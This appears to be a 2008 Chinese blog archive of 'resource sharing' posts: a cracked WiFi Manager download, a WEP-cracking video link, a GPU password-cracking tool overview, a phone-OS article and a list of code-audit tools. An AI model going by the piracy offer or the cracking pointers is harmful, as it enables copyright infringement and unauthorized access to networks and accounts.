存档

‘资源共享’ 分类的存档

WiFi Manager 4.0Linux/Windows

2008年10月25日 Chinadu 没有评论

ManageEngine WiFi Manager 4.0 破解版

WiFi Manager is an enterprise-class WLAN management solution that enables IT to secure, configure, and monitor critical wireless networks. It combines the power of hardware sensors, which have in-built intelligence to capture and analyze RF traffic, with the network management capabilities such as configuration, fault and performance monitoring, to present an integrated management solution. Using WiFi Manager IT teams can have better control over wireless assets, their associations, their behavior, and health.

下载地址:点击下载

分类: 资源共享 标签:

WildPackets OmniPeek 5.1 精简汉化版

2008年10月25日 Chinadu 没有评论

汉化的不错,界面如下:

 

下载地址:点击下载

分类: 资源共享 标签: ,

BackTrack雅黑字体lzm下载

2008年10月25日 Chinadu 没有评论

雅黑字体做成了lzm。

使用方法:复制到modules目录下即可

下载地址:点击下载

分类: 资源共享 标签:

Google的Sitemap生成器

2008年10月23日 Chinadu 没有评论

Google Sitemaps 生成器是一个 Python 脚本,可以使用 Sitemaps 协议为您的网站创建 Sitemaps。此脚本可以通过网址列表、Web 服务器目录或通过访问日志创建 Sitemaps。要使用此脚本:

  • 您需要连接到您的 Web 服务器,并在其上运行脚本。
  • 您的 Web 服务器需安装 Python 2.2 或更高版本。
  • 您需要知道启动 Python 的命令。(该命令通常为 python,但可能会因安装不同而异。例如,如果 Web 服务器安装了两种版本的 Python,命令 python 可调用较早的版本,而命令 python2 则可调用较晚的版本。)
  • 您需要知道指向贵网站的目录路径。如果您的 Web 服务器托管一个网站,路径可能是 var/www/html 等。如果您拥有一个托管多个网站的虚拟服务器,路径可能是 home/virtual/site1/fst/var/www/html 等。
  • 您需要能够将文件上传到自己的 Web 服务器(例如,使用 FTP)。
  • 如果您要根据访问日志生成一个网址列表,则需要了解用于这些日志的编码,以及指向它们的完整路径。

以下是详细地址:

https://www.google.com/webmasters/tools/docs/zh_CN/sitemap-generator.html

分类: 资源共享 标签:

Fuck WEP with Backtrack 3

2008年10月23日 Chinadu 没有评论

外国黑客表演破解WEP全过程

视频如下:

http://tw.youtube.com/watch?v=Y5Oy_aOyl98

分类: 资源共享 标签:

手机操作系统详解

2008年10月22日 Chinadu 没有评论

讲智能手机咱先讲讲咱最了解得微软吧!
智能手机的的发展和微软加入

手机一旦和操作系统扯上关系,听起来有点计算机的感觉了。尽管我们不想让手机的操作变得更加复杂,不过在未来的趋势中,智能型手机势必将会形成主流,手机的功能也会得到极大的拓展,就让我们提前了解它们是如何一群吧。

PDA、智能手机(Smartphone)都是依托操作系统存在的,两者之间有什么联系和分别呢,手机怎样才算智能?手机诞生之初只有简单的通话功能,正因如此才会有PDA(个人数字助理)产品出现,例如通讯簿,行程安排,还有一些记事的软件,都可以使用手写笔输入,储存在PDA中。因此,不管是什么样的操作系统,凡是能达到记事、提醒待办事宜的机种,我们都称其为PDA。

不过随着科技的进步,近几年来PDA手机和智能型手机功能的交错发展使得它们所扮演的角色相当类似。智能手机拥有开放性系统,因此和PDA的区分越来越困难。不过以PDA功能为主、手机功能为辅,我们就称之为PDA手机,而以手机功能为主、PDA功能为辅的话,自然就是智能型手机 (Smartphone)了。

微软在2002年时也积极的向手机市场迈进,并且推出smartphone的操作系统。除此之外,微软也把在PDA市场所使用的Pocket PC操作系统,改良加入电话的功能,成为新型的Pock PC Phone。

微软系统具备方便扩充的功能,非常惹人喜爱,它的到来无疑为智能手机的发展提供了更大的发展空间,同时也使得Smartphone市场呈现更多变数。

Pocket PC Phone

微软基于既有PDA市场中的Pocket PC系统架构,再加入手机功能开发出Pocket PC Phone。它与Pocket PC最大的差别在于可以直接插入SIM卡后当作手机使用,并且当按下电源键之后可以把PDA的功能关闭,但是电话功能还是可以继续使用的。

尽管Pocket PC Phone是新生事物,不过大部分软件兼容于Pocket PC系列,因此有多种软件可以通用。

个人觉得Windows Mobile好智能手机就跟电脑一样,PDA是带手写的手机,PDA的全称是Personal Digital Assistant(个人数字助理)。市面上一般2000元以下的产品都属于PDA的范畴。PDA较PPC来说功能很弱,屏幕是单色的(当然,有一些高端的产品是彩色的),只能完成一些诸如电话簿、日程安排、小游戏等简单功能。但最主要的一点是,一般PDA使用的是开发商自行开发的嵌入式管理系统(不敢称其为操作系统)。由于没有统一的标准和接口,这种管理系统的扩展性很差,也根本没有兼容性。所以造成了每种PDA的使用方法、界面、功能都不一样,更没听说过不同品牌的PDA之间能够共享资料、传递数据,也没有谁能够写完了游戏、软件可以放到各种PDA上运行的吧
PPC统一使用Windows CE操作系统,你可以发现PPC也使用CPU、主频、内存和显示屏幕等数据衡量性能,所以不同厂家、不同型号的PPC可以很清楚地衡量出性能的高低,这就有点好像普通的电脑。另外Windows CE操作系统中包含有IE、Pocket Word、Pocket Excel、MSN Messenger等应用程序,你可以用IE上网、MSN Messenger和朋友们聊天、Media Player看视频文件、听MP3,就像用普通电脑一样,当然也可以用Pocket Word、Excel处理台式机上的Word、Excel文件。最重要的是,程序员们可以开发自己的软件、游戏,在各种PPC上都可以运行。这样,PPC 的世界就更加精彩了,像什么电子书、翻译软件、游戏修改器、开发工具等等。总之,你可以把PPC想成简化了的普通电脑,把Windows CE想成简化了的Windows,在普通电脑上完成的任务,PPC上都有类似的办法。
PPC的功能十分强大,但其高昂的价格和硕大的体积不是每个用户都能够承受的,SmartPhone出现的目的就是让智能手机更加大众化,以类似于普通手机的体积和相对低廉的价格是用户感受到智能手机给我们到来的便利。但在目前的2003版本上,其稳定性还有待提高,使更多的普通手机用户也能轻松的使用智能手机。
根正苗红的Smartphone

Smartphone的软件是以手机为出发点而设计的操作系统,基本没有触控屏幕的设计,选单也需要透过1到9个按键来完成,而且应用程序大都不能兼容于Pocket PC系列。575的机身107.5×46.2×17.5mm的三围,搭配上100克的质量也同样令其握在手上的感觉十分的舒适。在键盘设计方面,575吸取了565的经验,将565身上的那个被人诟病的五维导航键改为了五维摇杆按键,进一步提升操作手感与准确度,另外还针对Smartphone的菜单操作不便,增加了一个9宫格菜单快捷键以及一个可直接访问中国移动服务的GoTone快捷键。 Ti OMAP 730、运行频率为200MHz的中央处理器令575拥有出色的多媒体能力,无论视频、MP3、文档处理、照片处理等操作都能流畅运行,兼有64M ROM+32M RAM和mini SD扩充,应用程序和媒体文件的存放都可应付自如。575的Media Player 10 Mobile提供对WMA、MP3、WMV等音频视频文件支持,并提供全屏幕显示。通过附送的立体声线控耳塞,让你的耳边随时随地都有音乐陪伴。

当前主流Symbian Series 60 历史较早的Symbian 成立于1998年,由Ericsson、Nokia、Motorola 和Psion共同出资来研发。因此在symbian操作系统的设计方面,手机厂商所投资的努力,当然都是以手机为出发点来做设计,在使用上也比较合乎手机的硬件规格。

你也许知道Symbian这个名词,但看到Symbian OS 70 Series 60这些资料之后,却搞得云山雾罩!Series 60是什么东东?在此为大家解说一下,Symbian OS是指操作系统的版本,目前最高为70版,而Series 60则是Symbian公司中最大股东Nokia中的分类平台,除了60之外,还有着 80/90版本。

Series 60为Symbian系统中最常见的平台,目前也广泛使用在Nokia 所推出的机种上,可安装的软件繁多,不过在准备安装程序过程中,除了先搞清Series 60平台之后,得再确定Symbian OS的版本。代表机:Nokia 7610/6670/N-Gage等。

Symbian Series 60代表之一诺基亚6670诺基亚6670屏幕采用了65536色的高亮高响应时间的TFT显示屏,分辨率为176×208。Symbian 7.0操作系统和Series 60人机友好界面,九宫格的菜单设计,还内置下拉式列表菜单显示。支持JPEG、GIF、EXIF、DCF、WBMP、BMP、MBM、PNG等图片格式。48和弦合成音铃声,支持MP3、ACC等格式,内置了100万像素CMOS摄像头,提供了自动的白平衡调节及亮度的适应功能,最大可拍摄分辨率为1152 × 864像素的照片,4倍数码变焦、夜景拍摄模式以及最长达30秒的延时自拍器。提供3GP格式有声录像功能,支持JAVA MIDP2.0,电话本和短信都采用了动态内存分配的管理,内置8MB内存,可以外加RS-MMC存储卡扩展。

商务首选Symbian Series 80/90 Symbian Series 80/90主要是针对商务人士设计的一种系统,但是目前仅有少数机种采用此系统,而Series 80并无支持触碰式屏幕的设计,两者可另外安装的软件不多,不过在内建的程序方面已足够商务人士使用了。代表机:Nokia 9210/9500等。

代表机种之一诺基亚9500
从诺基亚7650开始,功能为卖点就成为了诺基亚的主要方向。诺基亚9500是诺基亚9210的升级版本,它将会是诺基亚在高端商务手机中又一旗舰型产品。

9500尺寸大约是长148×宽57×厚24mm,重量是222g。在手机的背面装载着能拍摄VGA尺寸的数码相机装置
,当然也可以拍摄电影。所拍摄的照片分辨率为128×128象素,可显示65536色。手机入网频率为GSM900/1800/1900MHz或是GSM850/1800/1900 MHz,数据通讯规格:GPRS/ E- GPRS( EDGE)、无线LAN(IEEE802.11b)。

Symbian UIQ针对高端多媒体手机 Symbian UIQ 操作系统为 UIQ 科技公司研发推广,是在 Symbian OS的系统架构上,专门为高端的多媒体手机而设计,使用起来非常类似PDA操作,不过目前只有少数的机种采用UIQ系统。

代表机种 Moto A1000

虽然只有少数机种采用此系统,不过经过了Sony EricssonP800/P900 在市场热卖之后,此系统也开始渐渐热门起来,并且在Moto的3G手机 A1000身上也可看见UIQ的踪影,所以可安装的软件也不少。

LINUX、自由真的很好吗?

本来在计算机界风行的LINUX操作系统,最近一两年中也慢慢进入手机市场。最大特点在于系统的开放始码,可以让业者自行开发系统,所以厂商在购买系统时,价格成本为以上几种中的最低。虽然看起来LINUX缺点比较少,但是在扩充软件方面不太方便,每家都各自为营,反而不容易兼容,各厂牌手机间的软件互通性差。
代表机:Moto A388/E680等。

Moto E680
只要你手机没在以上几类中的话,就是这类的自家封闭系统。在这类的手机中,最大的特点就是简单实用,不用再花心思去安装软件,但消费者也不能指望缺少什么功能时,可以软件升级你的手机上。在之前的PDA市场时代中,龙头老大可说是非Palm系统莫属了,不过因应市场上的变化,Palm系统也进军手机界。最大特点在于软件的兼容度非常好,版本间都可以互通,软件方面可说是用之不竭。
不论是那种操作系统,只要是能合乎自己的需求,自己用的顺手,都是个好系统。所以消费者在选购新机时,不妨先评估需求、价位、功能再做决定。

   手机操作系统一般只应用在高端智能化手机上。目前,在智能手机市场上,中国市场仍以个人信息管理型手机为主,随着更多
厂商的加入,整体市场的竞争已经开始呈现出分散化的态势。从市场容量、竞争状态和应用状况上来看,整个市场仍处于启动阶段。
目前应用在手机上的操作系统主要有PalmOS、Symbian、Windows CE和Linux 黑梅种。

一相关术语:

Palm OS操作系统

PALM,英文原意是“手掌”。在PDA的世界里,它代表一个公司,代表一个PDA操作系统,代表一个系列的PDA硬件,还代表了一种实用为上的PDA文化。

PALM公司,全称Palm computing。曾经并入3COM公司,后来又脱离出来。PALM公司有两个重要的机构:硬件组和平台组。硬件组就是现在的PALMONE公司,负责PALM的硬件开发和PALM硬件许可证的颁发,其他厂商要发布PALM主机的话都需要经过认证。平台组叫PALMSOURCES,负责PALM OS的开发。同时颁发软件许可证。其他厂商要发布使用PALM OS的产品,也要经过PALMSOURCES的认证。

PALM操作系统,一个历经1.0,2.0,3.0,3.5,4.0,5.0,5.2等诸多版本的成熟的PDA操作系统。以其简洁实用的功能在PDA历史上一直独领风骚,现在仍旧与windows mobile操作系统各占半壁江山,而且依靠最新的不输PPC的硬件指标和最新的Garnet(OS5)和CobalT(OS6)两个操作系统,PALM的表现会越来越灿烂耀眼!

PALM硬件,现在PALM的机型主要由PALMONE和SONY出品,曾经的HANDSPRING公司现在已经重新并入PALMONE公司。早期PALM机型的经典硬件配置为:龙珠系列CPU(16-66MHZ),分辨率为160*160的带背光灰度屏幕,2M-8M内存,无扩展卡支持。现在的主流机型则有了巨大的变化:OMAP或者XSCALE的CPU(100MHZ-700MHZ),320*320(有的机型甚至配备320*480)的65K色彩屏,16M-128M内存,SD或MS扩展卡支持。现在的PALM的硬件性能已经相当不错,甚至带摄象头的机型也开始普及,高端的如TREO600,低端的如ZIRE71,ZIRE72。

PALM机型比较多,型号比较复杂。照PALM OS的版本分,主要可以分为OS4和OS5两大类。OS在4.0以下的机器现在几乎已经看不到了。

OS4指使用PALM OS版本为4.0或以上,5.0以下的机器。OS4的机器一般来说都是老机型,象PALM公司的PALM V,PALM VX(可以升级到PALM OS4),M500,M505,M515,TW等;SONY公司的T415,T615,T665,N610,N710,SL10,SJ22,SJ30SJ33等;HANDSPRING公司的VISOR系列,TREO系列如TREO90,TREO180,TREO270等。现在买到的产品一般都是OS5.0以上版本的,统称OS5的机器(OS6.0的机型现在为止还没有发布)。其中PALM公司出产的产品有TT,TT2,TT3,TE,TC。

这是最有名的Tungsten系列,以稳定实用著称。ZIRE,ZIRE21,ZIRE31,ZIRE71,ZIRE72,这是PALM公司主打低端和娱乐的ZIRE系列;SONY方面有TG50,TJ25,TJ35,TJ27,TJ37,NR73V,NR80V,NZ90,UX50,TH55等;HANDSPRING方面现在只有一款PALM手机TREO600。

PALM操作系统是一个简单高效的操作系统,PALM的软件资源非常丰富,而且一般软件都短小精悍,几十K,几百K的精品软件不胜枚举。

    Palm OS操作系统由Palm公司自行开发的,并授权给Handspring、索尼和高通等设备厂家,这种操作系统更倾向于PDA的操作系统。
Palm OS在PDA市场占有主导地位。Palm的产品线本身就包括智能手机,又宣布与最早的智能手机开发者Handspring购并,同时将软件部门独立。
Palm系统在欧美很吃得开尤其一些侦探公司,IT圈人和媒体人士都爱用。最熟悉得是PALM650一直受到好评,但是后来就不见起色了,680得推出是雷声大雨点小。我们还是期待再有什么大作吧!

Symbian系统

    Symbian是一个实时性、多任务的纯32位操作系统,具有功耗低、内存占用少等特点,非常适合手机等移动设备使用,经过不断完善,可以支持GPRS、蓝芽、SyncML、以及3G技术。最重要的是它是一个标准化的开放式平台,任何人都可以为支持Symbian的设备开发软件。与微软产品不同的是,Symbian将移动设备的通用技术,也就是操作系统的内核,与图形用户界面技术分开,能很好的适应
不同方式输入的平台,也可以使厂商可以为自己的产品制作更加友好的操作界面,符合个性化的潮流,这也是用户能见到不同样子的symbian系统的主要原因。现在为这个平台开发的java程序已经开始在互联网上盛行。用户可以通过安装这些软件,扩展手机功能。

    在Symbian发展阶段,出现了三个分支:分别是Crystal、Pearl和Quarz。前两个主要针对通讯器市场,也是出现在手机上最多的,
是今后智能手机操作系统的主力军。第一款基于Symabian系统的手机是2000年上市的某款爱立信手机。而真正较为成熟的同时引起人们注意的则是2001年上市的诺基亚9210,它采用了Crystal分支的系统。而2002年推出的诺基亚7650与3650则是Symbian Pearl分系的机型,其中7650是第一款基于2.5G网的智能手机产品,他们都属于Symbian的6.0版本。索尼爱立信推出的一款机型也使用了Symbian的
Pearl分支,版本已经发展到7.0,是专为3G网络而开发的,可以说代表了当今最强大的手机操作系统。此外,Symbian从6.0版本就开始支持外接存储设备,如MMC,CF卡等,这让它强大的扩展能力得以充分发挥,使存放更多的软件以及各种大容量的多媒体文件成为了可能。

Windows CE系统

    Windows CE系统包括 Po
cket PC和Smartphone,前者针对无线PDA,后者专为手机,已有多个来自IT业的新手机厂商使用,增长率较快。

    Pocket PC 2002 推出了应用在手机上的Phone Edition(电话版本),国内贴牌机多普达686就使用了这个系统。不过它在移动通讯
方面的功能并不是很全面。针对这种情况,微软于2002年底发布了专门为手机开发的操作系统SmartPhone2002,像symbian Pearl一样,是专为移动通讯设备开发的系统。

    虽然从众多手机厂商的反应来看,全球手机五大厂商中只有三星购买了微软的软件许可,所以其在手机市场上占有率还很低。

Linux系统

Linux系统件是一个源代码开放的操作系统,目前已经有很多版本流行。但尚未得到较广泛的支持。
Linux操作系统在使用中的优点也是十分明显的。首先,对于消费来说,采用的应用于智能手机上的Linux操作系统和我们常说的应用于电脑上的Linux操作系统是一个系统,而且都是全免费操作系统。在操作系统上的免费,就等于节省了产品的生产成本,附加到消费者身上的也就少了,给大家带来了实惠。Linux操作系统系统资源占用率较低,而且性能比较稳定,这都是大家公认的。使用起来能带来急速体验,在同硬件配置上,能获得其他智能手机操作系统得不到的快乐。如果以Linux平台的系统资源占用程度同体积庞大的WindowspMobile相比,其结果可想而知。在JAVA在手机上应用越来越广的时候,Linux操作系统与JAVA的相互融合,是任何一个操作系统所不能比拟的,Linux+JAVA的应用方式,能够给用户极大的拓展空间。

相对来说,Linux操作系统缺点也不少。由于Linux操作系统介入智能手机领域较晚,采用此操作系统的手机比较少,所以专为这些少量用户所制作的第三方软件还非常少,影响了Linux操作系统在智能手机领域内的势力扩张。在Linux的平台上进行开发,对厂商的要求比较,业界需要更强大的软件设计能力高,安全性、实时性能、电源管理都是Linux智能手机操作的天然缺陷。
先看看你的手机支持LINUX操作系统吗??
支持LINUX操作系统的机型:摩托罗拉 A768I、摩托罗拉 A780、飞利浦968、海尔 N60、中兴E3
什么是黑梅Black Berry!
黑莓
所谓“黑莓”(BlackBerry)是指一种移动电子邮件系统终端,可以配合手机使用。

黑莓的来由

在“911事件”中,美国通信设备几乎全线瘫痪,但美国副总统切尼的手机有黑莓功能,成功地进行了无线互联,能够随时随地接收关于灾难现场的实时信息。之后,在美国掀起了一阵黑莓热潮。美国国会因“911事件”休会期间,就配给每位议员一部“Blackberry”,让议员们用它来处理国事。

随后,这个便携式电子邮件设备很快成为企业高管、咨询顾问和每个华尔街商人的常备电子产品。迄今为止,RIM公司已卖出超过400万台黑莓,占据了近一半的无线商务电子邮件业务市场。

什么是黑莓呢?

从技术上来说,黑莓是一种采用双向寻呼模式的移动邮件系统,兼容现有的无线数据链路。它出现于1998年,RIM的品牌战略顾问认为,无线电子邮件接收器挤在一起的小小的标准英文黑色键盘,看起来像是草莓表面的一粒粒种子,就起了这么一个有趣的名字。目前有内置“黑莓”功能的手机产品。它的终端包含一个非常小的标准电脑键盘,黑色的按键看上去如同草莓表面的黑籽儿,因此才得到这个昵称。从外观上看,“黑莓”产品与其说是手机,不如说更像是具备通话功能的商务通或掌上电脑。使用这种设备,手机用户将可以随时与电脑互发电子邮件。

黑莓的技术分析

黑莓并不是唯一的一种移动邮件业务系统,国内用户耳熟能详的可以实现类似功能的业务就有WAP、基于MMS技术的“彩信”和基于IMAP4.0邮件协议的“彩e”等,但黑莓更简便也更安全的技术特点却使它在北美独领风骚。

“黑莓”(Black berry)移动邮件设备基于双向寻呼技术。该设备与RIM公司的服务器相结合,依赖于特定的服务器软件和终端,兼容现有的无线数据链路,实现了遍及北美、随时随地收发电子邮件的梦想。这种装置并不以奇妙的图片和彩色屏幕夺人耳目,甚至不带发声器。“911”事件之后,由于Black berry及时传递了灾难现场的信息而在美国掀起了拥有一部Black berry终端的热潮。如今已经有超过四百万用户在使用,也有相当多的手机终端开始集成这一功能。

这个黑梅可不像蓝梅这么好吃但作为全球最大的PDA运营商因为没有在国内运营(明年中移动会与其合作开发),那我就开始简述这个老黑:
1948年在加拿大安大略省成立RIN(Research In Motion)是流动解决方案的全球顶级运营商其业务含概:提供方案(包括电话,电邮,互连网等等) 整合软/硬件,授权其平台给第3方开发(部分也采用开放式)其产品包括:无线平台,Wireless Handheld系列,软件开发工具等!
其是在GSM/GPRS网络支持下的产品特性

WERT键盘是其最具代表的特点,其实RIM最早是在传呼时代就开始提供服务(6000系列之前),大屏幕更符合人们的阅读习惯,以及大容量内存和蓝牙技术的引用都是老黑的特色
代表产品:
RIM850:传呼产品工作在800MHZ DTAC网络
RIM950:900MHZ的MOBITEX网络下工作
在96-97年这2位为RIM奠定了现在的基础这2者均配备了QWERT键盘支持Wireless E-MAIL,WirelessINTERNET等等服务!
现今:6230,6510,6720,7100,7200,7730等都支持3-4频并且在蓝牙的帮助下对E-MAIL服务全支持如OP3/ISP.,IMAP,YAHOO MAIL,MSN,HOTMAIL,IBMLOTUS等等而且支持OFFICE全内容以及PDF,JPEG,PNG,TIFF,BMP,GIF,ASCI在GPRS的支持下更可实现永远在线的邮件信息服务```

windows mobil指的是什么?与win CE是什么关系?smart phone 和pocket pc是PDA的一种吗?

windows   mobile应该指的是   Pocket   PC   Windows   Mobile   Edition,和他相关的是Pocket   PC   Windows   Edition,前者是后者功能的改进,适用于带手机功能的PDA,后者适应于纯PDA,这两种PDA都是基于Windows   CE环境下的。市面上大多数PDA和PDA手机都是采用这种系统。   
   
  PDA即掌上电脑,SmartPhone是智能手机,和纯粹的PocketPC都是属于PDA的。   
  SmartPhone不仅有采用Pocket   PC   Mobile   Edition的,也有采用Symbian系统的。前者代表性的有多普达、联想等智能手机;后者代表性的有爱立信P802、NOKIA   7650/3650等。   
  PocketPC不仅有采用PPC版本的,也有采用PalmOS的。前者代表性的有HP   iPaq系列,后者有奔迈(Palm推出的机型)和采用PalmOS的索尼TH55机型等。

分类: 资源共享 标签:

用显卡来暴力破解密码

2008年10月21日 Chinadu 没有评论

ElcomSoft Distributed Password Recovery 俄罗斯著名的ElcomSoft出品的密码破解工具,这家公司是专业开发密码恢复工具的,ElcomSoft Distributed Password Recovery的特色我们可以从名字上知晓,是分布式的密码恢复工具,可以通过网络(局域网和互联网均可)来让N台计算机来为同一破解任务提供支援。 不过最近又有一个有意思的东西,通过NVIDIA GPU来加速破解……

不过不是支持所有的文 件格式或应用程序(这里指该软件可破解的文件类型或应用程序),目前主要针对Office 2007 files (Word 2007, Excel 2007, PowerPoint 2007 and Project 2007), WPA/WPA2, Windows logon passwords (LM and NTLM) and MD5 hashes. 不过作者承诺会不断加入新的支持格式。 对于GPU该软件也是有要求的You can use GeForce 8-, 9-, 200-series with a minimum of 256MB graphics memory or Quadro cards(至少256M显存的GF8*,9*,200*系列或者Quadro卡)。下面该软件网站提供了一个GPU加速后的破解效能提升图:


越好的显卡自然提升越大,不过这里似乎没有指明显卡的显存容量对于测试的实际影响有多大(当然越大越好:))。 该软件下载网址:http://www.elcomsoft.com/download/edpr_setup.exe

该软件支持的文件格式或引用程序: Elcomsoft Distributed Password Recovery supports a variety of applications and file formats, allowing password recovery from Office documents, Adobe PDF files, PGP disks and archives, personal security certificates and exchange keys, MD5 hashes and Oracle passwords, Windows and UNIX login passwords.

  • Microsoft Word/Excel/PowerPoint/Project 2007 (.DOCX, .XLSX, .PPTX, .MSPX) (password recovery - "open" password only) (GPU accelerated!)
  • Microsoft Word/Excel/PowerPoint XP/2003 (.DOC, .XLS, .PPT) (password recovery - "open" password only)
  • Microsoft Word/Excel 97/2000 (.DOC, .XLS) (password recovery - "open" password only)
  • Microsoft Word/Excel 97/2000 (.DOC, .XLS) (guaranteed decryption)
  • Microsoft Money (password recovery)
  • Microsoft OneNote (password recovery)
  • OpenDocument (ODF): documents, spreadsheets, presentations, graphics/drawing, formulae (password recovery)
  • PGP: zip archives (.PGP), PGP disks with conventional encryption (.PGD), self-decrypting archives (.EXE), whole disk encryption, secret key rings (.SKR) (password/passphrase recovery)
  • Personal Information Exchange certificates - PKCS #12 (.PFX, .P12) (password recovery)
  • Adobe Acrobat PDF files ("user" and "owner" password recovery)
  • Adobe Acrobat PDF files with 40-bit encryption (guaranteed decryption)
  • Windows NT/2000/XP/2003/Vista logon passwords (LM/NTLM) (password recovery) (GPU accelerated!)
  • Windows SYSKEY startup passwords (password recovery)
  • Windows DCC (Domain Cached Credentials) passwords (password recovery)
  • UNIX users' passwords (password audit/recovery)
  • Intuit Quicken (.QDF) (password recovery)
  • Lotus Notes ID files (password recovery)
  • MD5 hashes (plaintext recovery) (GPU accelerated!)
  • Oracle users' passwords (password audit/recovery)
  • WPA and WPA2 passwords (password recovery) (GPU accelerated!)
分类: 资源共享 标签: ,

Php Code Audits的方向

2008年10月20日 Chinadu 没有评论

作者:5up3rh3i

下面是一个Source Code Auditing tools的一个list [转于网络]

Name - [ language/s supported ] - web link:

.TEST - [ C#, VB.NET, MC++ ] - http://www.parasoft.com/jsp/products.jsp
ASTRéE - [ C ] - http://www.astree.ens.fr
Bandera - [ Java ] - http://bandera.projects.cis.ksu.edu/
BLAST - [ C ] - http://mtc.epfl.ch/software-tools/blast/
BOON - [ C ] - http://www.cs.berkeley.edu/~daw/boon/
C Code Analyzer (CCA) - [ C ] - http://www.drugphish.ch/~jonny/cca.html
C++test - [ C++ ] - http://www.parasoft.com/jsp/products.jsp
CCMetrics - [ C#, VB.NET ] - http://www.serviceframework.com/jwss/utility,ccmetrics,utility.aspx
Checkstyle - [ Java ] - http://checkstyle.sourceforge.net/
CodeCenter - [ C ] - http://www.ics.com/products/centerline/codecenter/features.html
CodeScan - [ .ASP, PHP ] - http://www.codescan.com/
CodeSecure - [ PHP, Java ] - http://www.armorize.com/corpweb/en/products/codesecure
CodeSonar - [ C, C++ ] - http://www.grammatech.com/products/codesonar/overview.html
CQual - [ C ] - http://www.cs.umd.edu/~jfoster/cqual
Csur - [ C ] - http://www.lsv.ens-cachan.fr/csur/
Dehydra - [ C++ ] - http://wiki.mozilla.org/Dehydra_GCC
DevInspect - [ C#, Visual Basic, JavaScript, VB Script] - http://www.spidynamics.com/products/devinspect/
DevPartner SecurityChecker - [ C#, Visual Basic ] - http://www.compuware.com/products/devpartner/securitychecker.htm
DoubleCheck - [ C, C++ ] - http://www.ghs.com/products/doublecheck.html
FindBugs - [ Java ] - http://findbugs.sourceforge.net/
FlawFinder - [ C, C++ ] - http://www.dwheeler.com/flawfinder/
Fluid - [ Java ] - http://www.fluid.cs.cmu.edu/
Frama-C - [ C ] - http://frama-c.cea.fr/
ftnchek - [ FORTRAN ] - http://www.dsm.fordham.edu/~ftnchek/
FxCop - [ .NET ] - http://code.msdn.microsoft.com/codeanalysis
g95-xml - [ FORTRAN ] - http://g95-xml.sourceforge.net/
ITS4 - [ C, C++ ] - http://www.cigital.com/its4/
Jlint - [ Java ] - http://artho.com/jlint/
JsLint - [ JavaScript ] - http://www.jslint.com/
Jtest - [ Java ] - http://www.parasoft.com/jsp/products.jsp
KlocWork / K7 - [ C, C++, Java ] - http://www.klocwork.com/products/k7_security.asp
LAPSE - [ Java ] - http://www.owasp.org/index.php/Category:OWASP_LAPSE_Project
MOPS - [ C ] - http://www.cs.berkeley.edu/~daw/mops/
MSSCASI - [ ASP ] - http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&displaylang=en
MZTools - [ VB6, VBA ] - http://www.mztools.com/index.aspx/
Oink - [ C++ ] - http://www.cubewano.org/oink
Ounce - [ C, C++, Java, JSP, ASP.NET, VB.NET, C# ] - http://www.ouncelabs.com/accurate-complete-results.html
Perl-Critic - [ Perl ] - http://search.cpan.org/dist/Perl-Critic/
PLSQLScanner 2008 - [ PLSQL ] - http://www.red-database-security.com/software/plsqlscanner.html
PHP-Sat - [ PHP ] - http://www.program-transformation.org/PHP/PhpSat
Pixy - [ PHP ] - http://pixybox.seclab.tuwien.ac.at/pixy/index.php
PMD - [ Java ] - http://pmd.sourceforge.net/
PolySpace - [ Ada, C, C++ ] - http://www.polyspace.com/products.htm
PREfix & PREfast - [ C, C++ ] - http://support.microsoft.com/vst
Prevent - [ C, C++ ] - http://www.coverity.com/html/coverity-software-quality-products.html
PyChecker - [ Python ] - http://pychecker.sourceforge.net/
pylint - [ Python ] - http://www.logilab.org/project/pylint
QA-C, QA-C++, QA-J - [ C, C++, Java, FORTRAN ] - http://www.programmingresearch.com/PRODUCTS.html
QualityChecker - [ Visual Basic 6 ] - http://d.cr.free.fr/
RATS - [ C, C++, Perl, PHP, Python ] - http
://www.fortify.com/security-resources/rats.jsp

RSM - [ C, C++, C#, Java ] - http://msquaredtechnologies.com/m2rsm/
Smatch - [ C ] - http://smatch.sourceforge.net/
SCA - [ ASP.NET, C, C++, C#, Java, JSP, PL/SQL, T-SQL, VB.NET, XML ] - http://www.fortifysoftware.com/products/sca/
Skavenger - [ PHP ] - http://code.google.com/p/skavenger/
smarty-lint - [ PHP ] - http://code.google.com/p/smarty-lint/
soot - [ Java ] - http://www.sable.mcgill.ca/soot/
Source Monitor - [ C#, VB.NET ] - http://www.campwoodsw.com/sm20.html
SPARK - [ Ada ] - http://www.praxis-his.com/sparkada/spark.asp
Spike PHP Security Audit Tool - [ PHP ] - http://developer.spikesource.com/projects/phpsecaudit/
Splint - [ C ] - http://www.splint.org/
SWAAT - [ PHP, ASP.NET, JSP, Java ] - http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project
UNO - [ C ] - http://spinroot.com/uno/">
vil - [ C#, VB.NET ] - http://www.1bot.com/
Viva64 - [ C++ ] - http://www.viva64.com/
xg++ - [ C ] - http://www.stanford.edu/~engler/mc-osdi.pdf
YTKScan Java - [ Java ] - http://www.cam.org/~droujav/y2k/Y2KScan.html

支持php的有:

CodeScan - [ .ASP, PHP ] - http://www.codescan.com/
CodeSecure - [ PHP, Java ] - http://www.armorize.com/corpweb/en/products/codesecure
PHP-Sat - [ PHP ] - http://www.program-transformation.org/PHP/PhpSat
Pixy - [ PHP ] - http://pixybox.seclab.tuwien.ac.at/pixy/index.php
RATS - [ C, C++, Perl, PHP, Python ] - http://www.fortify.com/security-resources/rats.jsp
Skavenger - [ PHP ] - http://code.google.com/p/skavenger/
smarty-lint - [ PHP ] - http://code.google.com/p/smarty-lint/
Spike PHP Security Audit Tool - [ PHP ] - http://developer.spikesource.com/projects/phpsecaudit/
SWAAT - [ PHP, ASP.NET, JSP, Java ] - http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project

另外还有一个Fortify - http://www.fortifysoftware.com [如果还有,请帮忙补充]

目前就php的Source Code Auditing tool基本都是静态分析的,而Source Code Auditing一直围绕着2个元素:变量和函数.也就是说这些tools不管是php开发的还是java开发的,也不管是不是基于php原代码的,他本 身都对一些危险的函数和变量都对应的一个'字典'[特征字符串],这些tools都是通过查找这些字典,然后跟踪变量来分析代码.

但是随着程序员安全意识的提高,很多的程序员也知道了这些'字典'了,都有对应的过滤,所以那些传统的问题,很找在大型程序里出现了.所以只有通过扩大我们的字典才有更多的机会去找到应用程序的漏洞.我们的途径有:

* 分析和学习别人发现的漏洞或者exp,如大牛Stefan Esser发现的那些问题,rgod等以前发的那些exp
